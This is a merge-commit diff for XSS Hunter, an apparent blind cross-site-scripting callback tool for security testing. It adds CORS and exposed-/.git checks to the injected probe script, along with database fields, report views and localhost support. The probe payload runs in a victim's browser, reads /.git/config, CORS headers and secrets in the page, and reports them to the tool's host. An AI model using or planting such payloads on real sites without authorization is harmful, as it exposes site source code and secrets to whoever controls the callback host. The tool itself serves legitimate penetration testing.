Merge pull request #13 from trufflesecurity/cors-check

Cors and .git check and making it easier to run on localhost
This commit is contained in:
Dustin Decker 2023-01-29 10:48:52 -08:00 committed by GitHub
commit 38bebeda34
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23
7 changed files with 139 additions and 29 deletions

12
api.js
View file

@ -5,6 +5,7 @@ const cors = require('cors');
const path = require('path');
const uuid = require('uuid');
const asyncfs = require('fs').promises;
const fs = require('fs');
const sessions = require('@truffledustin/node-client-sessions');
const favicon = require('serve-favicon');
const database = require('./database.js');
@ -53,6 +54,15 @@ function session_wrapper_function(req, res, next) {
return sessions_middleware(req, res, next);
}
async function check_file_exists(file_path) {
return asyncfs.access(file_path, fs.constants.F_OK).then(() => {
return true;
}).catch(() => {
return false;
});
}
async function set_up_api_server(app) {
// Check for existing session secret value
const session_secret_setting = process.env.SESSION_SECRET_KEY;
@ -443,6 +453,8 @@ async function set_up_api_server(app) {
"screenshot_id": payload.screenshot_id,
"was_iframe": payload.was_iframe,
"browser_timestamp": payload.browser_timestamp,
"CORS": payload.CORS,
"gitExposed": payload.gitExposed,
"createdAt": payload.createdAt,
"updatedAt": payload.updatedAt,
"secrets": payload_secrets

26
app.js
View file

@ -163,6 +163,14 @@ async function get_app_server() {
"type": "string",
"default": []
},
"CORS": {
"type": "string",
"default": []
},
"gitExposed": {
"type": "string",
"default": []
},
"path": {
"type": "string",
"default": ""
@ -269,6 +277,13 @@ async function get_app_server() {
correlated_request: 'No correlated request found for this injection.',
}
if (req.body.CORS != "false"){
payload_fire_data.CORS = req.body.CORS;
}
if (req.body.gitExposed != "false"){
payload_fire_data.gitExposed = req.body.gitExposed.substring(0,5000);
}
// Check for correlated request
const correlated_request_rec = await InjectionRequests.findOne({
where: {
@ -285,7 +300,7 @@ async function get_app_server() {
console.log("saved record");
// Send out notification via configured notification channel
if(user.sendEmailAlerts) {
if(user.sendEmailAlerts && process.env.SMTP_EMAIL_NOTIFICATIONS_ENABLED=="true") {
payload_fire_data.screenshot_url = `https://${process.env.HOSTNAME}/screenshots/${payload_fire_data.screenshot_id}.png`;
await notification.send_email_notification(payload_fire_data, user.email);
}
@ -334,10 +349,17 @@ async function get_app_server() {
if (! chainload_uri){
chainload_uri = '';
}
let xssURI = ""
if(process.env.XSS_HOSTNAME.startsWith("localhost")){
xssURI = `http://${process.env.XSS_HOSTNAME}`
}else{
xssURI = `https://${process.env.XSS_HOSTNAME}`
}
res.send(XSS_PAYLOAD.replace(
/\[HOST_URL\]/g,
`https://${process.env.XSS_HOSTNAME}`
xssURI
).replace(
'[COLLECT_PAGE_LIST_REPLACE_ME]',
JSON.stringify([])

View file

@ -206,6 +206,18 @@ PayloadFireResults.init({
allowNull: false,
unique: false
},
// git directory exposed
gitExposed: {
type: Sequelize.TEXT,
allowNull: true,
unique: false
},
// cors data
CORS: {
type: Sequelize.TEXT,
allowNull: true,
unique: false
},
}, {
sequelize,
modelName: 'payload_fire_results',
@ -215,6 +227,11 @@ PayloadFireResults.init({
fields: ['url'],
method: 'BTREE',
},
{
unique: false,
fields: ['CORS'],
method: 'BTREE',
},
{
unique: false,
fields: ['user_id'],

View file

@ -24,7 +24,7 @@
</card>
<card>
<h4 class="card-title">XSSHunter Path</h4>
<h6 class="card-subtitle mb-2 text-muted">Unique path that ties injection payloads back to you. Can be set to something shorter. (defaults to 20 chars)</h6>
<h6 class="card-subtitle mb-2 text-muted">Unique path linked to your account that ties injection payloads back to you. Shorter is better. WARNING: changing this will make existing payloads not linked to your account. (defaults to 20 chars)</h6>
<p class="card-text">
<base-input v-model:value="user_path" type="text" placeholder="..."></base-input>
</p>

View file

@ -46,7 +46,7 @@
</small>
</div>
<div class="m-2 mt-4">
<code v-if="report.url">{{report.url}}</code>
<pre v-if="report.url">{{report.url}}</pre>
<pre v-else><i>None</i></pre>
</div>
<hr />
@ -59,7 +59,7 @@
</small>
</div>
<div class="m-2 mt-4">
<code v-if="report.ip_address">{{report.ip_address}}</code>
<pre v-if="report.ip_address">{{report.ip_address}}</pre>
<pre v-else><i>None</i></pre>
</div>
<hr />
@ -72,7 +72,7 @@
</small>
</div>
<div class="m-2 mt-4">
<code v-if="report.referer">{{report.referer}}</code>
<pre v-if="report.referer">{{report.referer}}</pre>
<pre v-else><i>None</i></pre>
</div>
<hr />
@ -85,7 +85,7 @@
</small>
</div>
<div class="m-2 mt-4">
<code v-if="report.user_agent">{{report.user_agent}}</code>
<pre v-if="report.user_agent">{{report.user_agent}}</pre>
<pre v-else><i>None</i></pre>
</div>
<hr />
@ -98,7 +98,7 @@
</small>
</div>
<div class="m-2 mt-4">
<code v-if="report.cookies">{{report.cookies}}</code>
<pre v-if="report.cookies">{{report.cookies}}</pre>
<pre v-else><i>None</i></pre>
</div>
<hr />
@ -111,7 +111,7 @@
</small>
</div>
<div class="m-2 mt-4">
<code v-if="report.title">{{report.title}}</code>
<pre v-if="report.title">{{report.title}}</pre>
<pre v-else><i>None</i></pre>
</div>
<hr />
@ -124,8 +124,8 @@
</small>
</div>
<div class="m-2 mt-4">
<code v-if="report.origin">{{report.origin}}</code>
<pre v-else><i>None</i></pre>
<pre v-if="report.origin">{{report.origin}}</pre>
<pre v-else><code>None</code></pre>
</div>
<hr />
</div>
@ -133,14 +133,41 @@
<div>
<p class="report-section-label mr-2">Secrets</p>
<small slot="helperText" class="form-text text-muted report-section-description">
Any secrets harvested from the HTML and Javascript.
TruffleHog-lite, used to capture any secrets harvested from the HTML and Javascript.
</small>
</div>
<div class="m-2 mt-4" v-if="report.secrets">
<pre v-for="secret in report.secrets">Secret type: {{ secret.secret_type }}
Secret value: {{ secret.secret_value }}</pre>
</div>
<div>
<li v-for="secret in report.secrets">
Secret type: {{ secret.secret_type }}
Secret value: {{ secret.secret_value }}
</li>
<pre v-else>No secrets detected</pre>
</div>
<hr />
</div>
<div>
<div>
<p class="report-section-label mr-2">CORS</p>
<small slot="helperText" class="form-text text-muted report-section-description">
What is the CORS policy for the website the XSS rendered on?
</small>
</div>
<div class="m-2 mt-4">
<pre v-if="report.CORS">Access-Control-Allow-Origin: {{report.CORS}}</pre>
<pre v-else><i>No CORS headers detected</i></pre>
</div>
<hr />
</div>
<div>
<div>
<p class="report-section-label mr-2">Leaked Source Code</p>
<small slot="helperText" class="form-text text-muted report-section-description">
Was the source code exposed via /.git ? (Shows contents of /.git/config)
</small>
</div>
<div class="m-2 mt-4">
<pre v-if="report.gitExposed">{{report.gitExposed}}</pre>
<pre v-else><i>No .git directory detected</i></pre>
</div>
<hr />
</div>
@ -152,7 +179,7 @@
</small>
</div>
<div class="m-2 mt-4">
<code v-if="report.browser_timestamp">{{ new Date(parseInt(report.browser_timestamp)) | moment("dddd, MMMM Do YYYY, h:mm:ss a")}} (<i>{{report.browser_timestamp}}</i>)</code>
<pre v-if="report.browser_timestamp">{{ new Date(parseInt(report.browser_timestamp)) | moment("dddd, MMMM Do YYYY, h:mm:ss a")}} (<i>{{report.browser_timestamp}}</i>)</pre>
<pre v-else><i>None</i></pre>
</div>
<hr />
@ -165,16 +192,9 @@
</small>
</div>
<div class="m-2 mt-4">
<p>
Fired in iFrame?: <code>{{report.was_iframe}}</code>
</p>
<p>
Vulnerability enumerated <code>{{ report.createdAt | moment("dddd, MMMM Do YYYY, h:mm:ss a") }}</code>
</p>
<p>
Report ID: <code>{{report.id}}</code>
</p>
</div>
<pre>Fired in iFrame?: {{report.was_iframe}}
Vulnerability enumerated {{ report.createdAt | moment("dddd, MMMM Do YYYY, h:mm:ss a") }}
Report ID: {{report.id}}</pre>
<hr />
</div>
<base-button simple block type="primary" class="mt-4" v-on:click="collapse_report(report.id)" v-if="is_report_id_expanded(report.id)">
@ -386,6 +406,11 @@ export default {
color: #fff
}
pre {
background-color: rgba(255, 255, 255, 0.8);
color: #38645a;
}
.pagination .page-item.disabled>.page-link {
opacity: .5
}
@ -460,6 +485,7 @@ export default {
.report-section-label {
background: #5BB381;
font-size: 18px;
display: inline;
}
@ -474,7 +500,7 @@ export default {
}
.report-section-description {
color: #d3d3d7 !important;
color: #5bb381 !important;
font-style: italic;
display: inline;
float: right;

View file

@ -6,6 +6,7 @@
<div class="row pl-4 pr-4 p-2" style="display: block;">
<div>
<h1><i class="fas fa-file-code"></i> XSS Payloads</h1>
<h3>For a shorter URL, change your path on the settings page</h3>
</div>
<card v-for="payload in payloads">
<h4 class="card-title" v-html="payload.title"></h4>

View file

@ -79,6 +79,26 @@ function base64_to_blob(base64Data, contentType) {
return new Blob(byteArrays, { type: contentType });
}
let check_cors = async function(){
let res = await fetch("", {method: 'HEAD'})
for (const header of res.headers){
if (header[0].toLowerCase() == "access-control-allow-origin"){
return header[1];
}
}
return false
}
let check_git = async function(){
let res = await fetch("/.git/config");
let text = await res.text();
if (text.startsWith("[core]")){
return text
}
return false
}
function get_guid() {
var S4 = function() {
return (((1+Math.random())*0x10000)|0).toString(16).substring(1);
@ -291,13 +311,25 @@ probe_return_data['title'] = document.title;
probe_return_data['was_iframe'] = !(window.top === window)
function hook_load_if_not_ready() {
async function hook_load_if_not_ready() {
try {
try {
probe_return_data['secrets'] = look_for_secrets(never_null( document.documentElement.outerHTML ));
} catch ( e ) {
probe_return_data['secrets'] = [];
}
try{
const corsResults = await check_cors();
probe_return_data['CORS'] = corsResults;
} catch (e) {
probe_return_data['CORS'] = "false";
}
try{
const gitResults = await check_git();
probe_return_data['gitExposed'] = gitResults;
} catch (e) {
probe_return_data['gitExposed'] = "false";
}
probe_return_data['secrets'] = JSON.stringify(probe_return_data['secrets']);
html2canvas(document.body).then(function(canvas) {
StackBlur.canvasRGB(